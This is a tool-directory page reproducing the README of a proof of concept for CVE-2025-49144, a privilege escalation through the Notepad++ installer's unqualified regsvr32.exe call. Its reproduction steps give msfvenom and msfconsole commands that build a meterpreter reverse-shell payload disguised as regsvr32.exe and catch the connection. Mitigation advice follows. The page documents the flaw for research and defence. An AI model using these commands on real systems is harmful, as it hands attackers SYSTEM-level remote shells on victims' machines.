Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49144_PoC — CVE-2025-49144 PoC for security researchers to test and try. | Kitploit
Tools/GitHubGitHub/thetorjancaptain/cve-2025-49144_poc
Privilege EscalationVulnerability AnalysisExploitationLateral MovementPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
Share
GitHub
thetorjancaptain/cve-2025-49144_poc

CVE-2025-49144_PoC

CVE-2025-49144 PoC for security researchers to test and try.

View Repository
8828861 year agoReviewed by Kitploit

CVE-2025-49144_PoC

PoC Flow

📌 CVE-2025-49144 is a high-severity local privilege escalation vulnerability found in the Notepad++ v8.8.1 and prior version installers. This vulnerability stems from uncontrolled executable search path behavior during installation, allowing a local attacker to gain SYSTEM-level privileges by placing malicious executables in the same directory as the installer.


⚙️ How the CVE works – Step-by-Step:

🧱 1. What went wrong in the installer?

The Notepad++ installer (before v8.8.2) calls regsvr32.exe to register some components — but it does this without giving the full path (like C:\Windows\System32\regsvr32.exe).

Instead, it just runs:

regsvr32.exe some_dll

📂 2. Windows search path behavior: When an executable is launched without a full path, Windows uses a specific search order to find the file:

  1. The folder from which the application was launched (e.g., Downloads)

  2. The system folder (System32)

  3. The Windows folder

  4. Current working directory

  5. Paths in PATH environment variable

So, if a fake regsvr32.exe is placed in the same folder as the installer (e.g., Downloads), Windows will use it before the real one.

💣 3. Exploitation:

- Attacker places a malicious regsvr32.exe in the same folder as the legitimate Notepad++ installer (e.g., the victim's Downloads folder).

- Victim runs the installer (thinking it’s safe).

- Installer calls regsvr32.exe, but ends up executing the malicious one from the same folder — with SYSTEM privileges (because installers typically request admin permissions).

- The attacker's payload is now running as NT AUTHORITY\SYSTEM.

⚙️ Steps to Reproduce:

  1. Get shell code:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f c > shellcode.txt
  1. Download the file "regsvr32_loader.c" and edit it.
  2. Paste entire shellcode from shellcode.txt in the mentioned comment.
  3. Compile to regsvr32.exe:
x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
  1. Deploy a meterpreter listner:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
set LPORT 4444
run
  1. Download a vulnerable version of Notepad++ i.e. prior to 8.8.1 as 8.8.1 is now auto-updated.For PoC I have used Notepad++ v8.6.8
  2. Move the file "regsvr32.exe" into the windows system in the same folder of the notepad++ installer, probably in the Downloads folder.
  3. Complete the Installation of the Notepad++ installer.

Note: This is a PoC thus tested with Windows defender and real time protection disabled.


✅ Mitigation

Users and administrators should:

  • Upgrade to Notepad++ v8.8.2 or later

  • Restrict software installation to trusted admins

  • Use AppLocker, WDAC, or Software Restriction Policies (SRP) to:

    • Block execution from user-writeable folders (e.g., Downloads)
    • Prevent execution of untrusted binaries like regsvr32.exe from unauthorized paths
    • Enforce code signing for executables

Security teams should regularly audit install paths, monitor write permissions, and observe behavior during installer execution to reduce attack surface.


🏷️ License

MIT License — Free for educational, research, and defensive purposes only.


🤝 Contributing

Pull Requests welcome — improve detection, add features, or suggest fixes.


⚠️ Disclaimer

This PoC is for educational and research purposes only. Use it at your own risk. The author is not responsible for any misuse or damage caused."

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →